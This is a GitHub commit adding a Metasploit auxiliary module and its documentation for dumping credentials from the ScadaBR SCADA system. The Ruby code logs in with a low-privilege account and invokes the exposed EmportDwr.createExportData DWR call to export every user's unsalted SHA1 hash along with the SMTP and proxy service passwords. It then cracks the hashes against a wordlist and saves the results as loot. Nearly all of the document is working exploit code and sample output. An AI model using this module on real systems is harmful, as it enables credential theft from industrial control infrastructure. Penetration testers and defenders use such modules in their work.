Skip to content

Commit 8d3eebf

Browse files
committed
Land rapid7#8473 aux admin tool to get scadabr creds from db
2 parents 4e29b6e + c811c6a commit 8d3eebf

File tree

2 files changed

+285
-0
lines changed

2 files changed

+285
-0
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
## Description
2+
3+
This module retrieves credentials from ScadaBR, including service credentials and unsalted SHA1 password hashes for all users, by invoking the `EmportDwr.createExportData` DWR method of Mango M2M which is exposed to all authenticated users regardless of privilege level.
4+
5+
6+
## Vulnerable Application
7+
8+
ScadaBR is a SCADA (Supervisory Control and Data Acquisition) system with applications in Process Control and Automation, being developed and distributed using the open source model.
9+
10+
This module has been tested successfully with ScadaBR versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
11+
12+
Installers:
13+
14+
* [Windows Installers](https://sourceforge.net/projects/scadabr/files/Software/Installer%20Win32/)
15+
* [Linux Installers](https://sourceforge.net/projects/scadabr/files/Software/Linux/)
16+
* [Tomcat WAR files](https://sourceforge.net/projects/scadabr/files/Software/WAR/)
17+
18+
19+
## Verification Steps
20+
21+
1. Start `msfconsole`
22+
2. Do: `use auxiliary/admin/http/scadabr_credential_dump`
23+
3. Do: `set rhost [IP]`
24+
4. Do: `set username [USERNAME]`
25+
5. Do: `set password [PASSWORD]`
26+
6. Do: `run`
27+
7. You should get credentials
28+
29+
30+
## Sample Output
31+
32+
```
33+
[+] 172.16.191.166:8080 Authenticated successfully as 'admin'
34+
[+] 172.16.191.166:8080 Export successful (4436 bytes)
35+
[+] Found 5 users
36+
[*] Found weak credentials (admin:admin)
37+
[*] Found weak credentials (user:password)
38+
[*] Found weak credentials (zxcv:zxcv)
39+
40+
ScadaBR User Credentials
41+
========================
42+
43+
Username Password Hash (SHA1) Admin E-mail
44+
-------- -------- ----------- ----- ------
45+
admin admin d033e22ae348aeb5660fc2140aec35850c4da997 true [email protected]
46+
operator ef0cade28a5696433326749bb57c39104ca33550 false operator@localhost
47+
test 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 false test@localhost
48+
user password 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 true user@localhost
49+
zxcv zxcv 9878e362285eb314cfdbaa8ee8c300c285856810 false zxcv@localhost
50+
51+
52+
ScadaBR Service Credentials
53+
===========================
54+
55+
Service Host Port Username Password
56+
------- ---- ---- -------- --------
57+
HTTP proxy 127.0.0.1 8080 proxytestuser proxytestpass
58+
SMTP 127.0.0.1 25 smtptestuser smtptestpass
59+
60+
[+] Config saved in: /root/.msf4/loot/20170527210941_default_172.16.191.166_scadabr.config_861842.txt
61+
[*] Auxiliary module execution completed
62+
```
63+
Lines changed: 222 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,222 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Auxiliary::Report
8+
include Msf::Exploit::Remote::HttpClient
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'ScadaBR Credentials Dumper',
13+
'Description' => %q{
14+
This module retrieves credentials from ScadaBR, including
15+
service credentials and unsalted SHA1 password hashes for
16+
all users, by invoking the 'EmportDwr.createExportData' DWR
17+
method of Mango M2M which is exposed to all authenticated
18+
users regardless of privilege level.
19+
20+
This module has been tested successfully with ScadaBR
21+
versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
22+
},
23+
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
24+
'License' => MSF_LICENSE,
25+
'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'],
26+
'Targets' => [[ 'Automatic', {} ]],
27+
'DisclosureDate' => 'May 28 2017'))
28+
register_options(
29+
[
30+
Opt::RPORT(8080),
31+
OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]),
32+
OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]),
33+
OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]),
34+
OptPath.new('PASS_FILE', [ false, 'Wordlist file to crack password hashes',
35+
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
36+
])
37+
end
38+
39+
def login(user, pass)
40+
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'login.htm'),
41+
'method' => 'POST',
42+
'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}",
43+
'vars_post' => { 'username' => Rex::Text.uri_encode(user, 'hex-normal'),
44+
'password' => Rex::Text.uri_encode(pass, 'hex-normal') }
45+
46+
unless res
47+
fail_with Failure::Unreachable, "#{peer} Connection failed"
48+
end
49+
50+
if res.code == 302 && res.headers['location'] !~ /login\.htm/ && res.get_cookies =~ /JSESSIONID=([^;]+);/
51+
@cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first
52+
print_good "#{peer} Authenticated successfully as '#{user}'"
53+
else
54+
fail_with Failure::NoAccess, "#{peer} Authentication failed"
55+
end
56+
end
57+
58+
def export_data
59+
params = 'callCount=1',
60+
"page=#{target_uri.path}/emport.shtm",
61+
"httpSessionId=#{@cookie}",
62+
"scriptSessionId=#{Rex::Text.rand_text_hex(32)}",
63+
'c0-scriptName=EmportDwr',
64+
'c0-methodName=createExportData',
65+
'c0-id=0',
66+
'c0-param0=string:3',
67+
'c0-param1=boolean:true',
68+
'c0-param2=boolean:true',
69+
'c0-param3=boolean:true',
70+
'c0-param4=boolean:true',
71+
'c0-param5=boolean:true',
72+
'c0-param6=boolean:true',
73+
'c0-param7=boolean:true',
74+
'c0-param8=boolean:true',
75+
'c0-param9=boolean:true',
76+
'c0-param10=boolean:true',
77+
'c0-param11=boolean:true',
78+
'c0-param12=boolean:true',
79+
'c0-param13=boolean:true',
80+
'c0-param14=boolean:true',
81+
'c0-param15=boolean:true',
82+
'c0-param16=string:100',
83+
'c0-param17=boolean:true',
84+
'batchId=1'
85+
86+
uri = normalize_uri target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'
87+
res = send_request_cgi 'uri' => uri,
88+
'method' => 'POST',
89+
'cookie' => "JSESSIONID=#{@cookie}",
90+
'ctype' => 'text/plain',
91+
'data' => params.join("\n")
92+
93+
unless res
94+
fail_with Failure::Unreachable, "#{peer} Connection failed"
95+
end
96+
97+
unless res.body =~ /dwr.engine._remoteHandleCallback/
98+
fail_with Failure::UnexpectedReply, "#{peer} Export failed."
99+
end
100+
101+
config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first
102+
print_good "#{peer} Export successful (#{config_data.length} bytes)"
103+
104+
begin
105+
return JSON.parse(config_data.gsub(/\\r\\n/, '').gsub(/\\"/, '"'))
106+
rescue
107+
fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.")
108+
end
109+
end
110+
111+
def load_wordlist(wordlist)
112+
return unless File.exist? wordlist
113+
File.open(wordlist, 'rb').each_line do |line|
114+
@wordlist << line.chomp
115+
end
116+
end
117+
118+
def crack(user, hash)
119+
return user if hash.eql? Rex::Text.sha1 user
120+
pass = nil
121+
@wordlist.each do |word|
122+
if hash.eql? Rex::Text.sha1 word
123+
pass = word
124+
break
125+
end
126+
end
127+
pass
128+
end
129+
130+
def run
131+
login datastore['USERNAME'], datastore['PASSWORD']
132+
133+
json = export_data
134+
135+
service_data = { address: rhost,
136+
port: rport,
137+
service_name: (ssl ? 'https' : 'http'),
138+
protocol: 'tcp',
139+
workspace_id: myworkspace_id }
140+
141+
columns = 'Username', 'Password', 'Hash (SHA1)', 'Admin', 'E-mail'
142+
user_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR User Credentials',
143+
'Indent' => 1,
144+
'Columns' => columns
145+
146+
if json['users'].empty?
147+
print_error 'Found no user data'
148+
else
149+
print_good "Found #{json['users'].length} users"
150+
@wordlist = *'0'..'9', *'A'..'Z', *'a'..'z'
151+
@wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr'])
152+
load_wordlist datastore['PASS_FILE'] unless datastore['PASS_FILE'].nil?
153+
end
154+
155+
json['users'].each do |user|
156+
next if user['username'].eql?('')
157+
158+
username = user['username']
159+
admin = user['admin']
160+
mail = user['email']
161+
hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first
162+
pass = crack username, hash
163+
user_cred_table << [username, pass, hash, admin, mail]
164+
165+
if pass
166+
print_status "Found weak credentials (#{username}:#{pass})"
167+
creds = { origin_type: :service,
168+
module_fullname: fullname,
169+
private_type: :password,
170+
private_data: pass,
171+
username: user }
172+
else
173+
creds = { origin_type: :service,
174+
module_fullname: fullname,
175+
private_type: :nonreplayable_hash,
176+
private_data: hash,
177+
username: user }
178+
end
179+
180+
creds.merge! service_data
181+
credential_core = create_credential creds
182+
login_data = { core: credential_core,
183+
access_level: (admin ? 'Admin' : 'User'),
184+
status: Metasploit::Model::Login::Status::UNTRIED }
185+
login_data.merge! service_data
186+
create_credential_login login_data
187+
end
188+
189+
columns = 'Service', 'Host', 'Port', 'Username', 'Password'
190+
service_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR Service Credentials',
191+
'Indent' => 1,
192+
'Columns' => columns
193+
194+
system_settings = json['systemSettings'].first
195+
196+
unless system_settings['emailSmtpHost'].eql?('') || system_settings['emailSmtpUsername'].eql?('')
197+
smtp_host = system_settings['emailSmtpHost']
198+
smtp_port = system_settings['emailSmtpPort']
199+
smtp_user = system_settings['emailSmtpUsername']
200+
smtp_pass = system_settings['emailSmtpPassword']
201+
vprint_good "Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}"
202+
service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass]
203+
end
204+
205+
unless system_settings['httpClientProxyServer'].eql?('') || system_settings['httpClientProxyUsername'].eql?('')
206+
proxy_host = system_settings['httpClientProxyServer']
207+
proxy_port = system_settings['httpClientProxyPort']
208+
proxy_user = system_settings['httpClientProxyUsername']
209+
proxy_pass = system_settings['httpClientProxyPassword']
210+
vprint_good "Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}"
211+
service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass]
212+
end
213+
214+
print_line
215+
print_line user_cred_table.to_s
216+
print_line
217+
print_line service_cred_table.to_s
218+
219+
path = store_loot 'scadabr.config', 'text/plain', rhost, json, 'ScadaBR configuration settings'
220+
print_good "Config saved in: #{path}"
221+
end
222+
end

0 commit comments

Comments
 (0)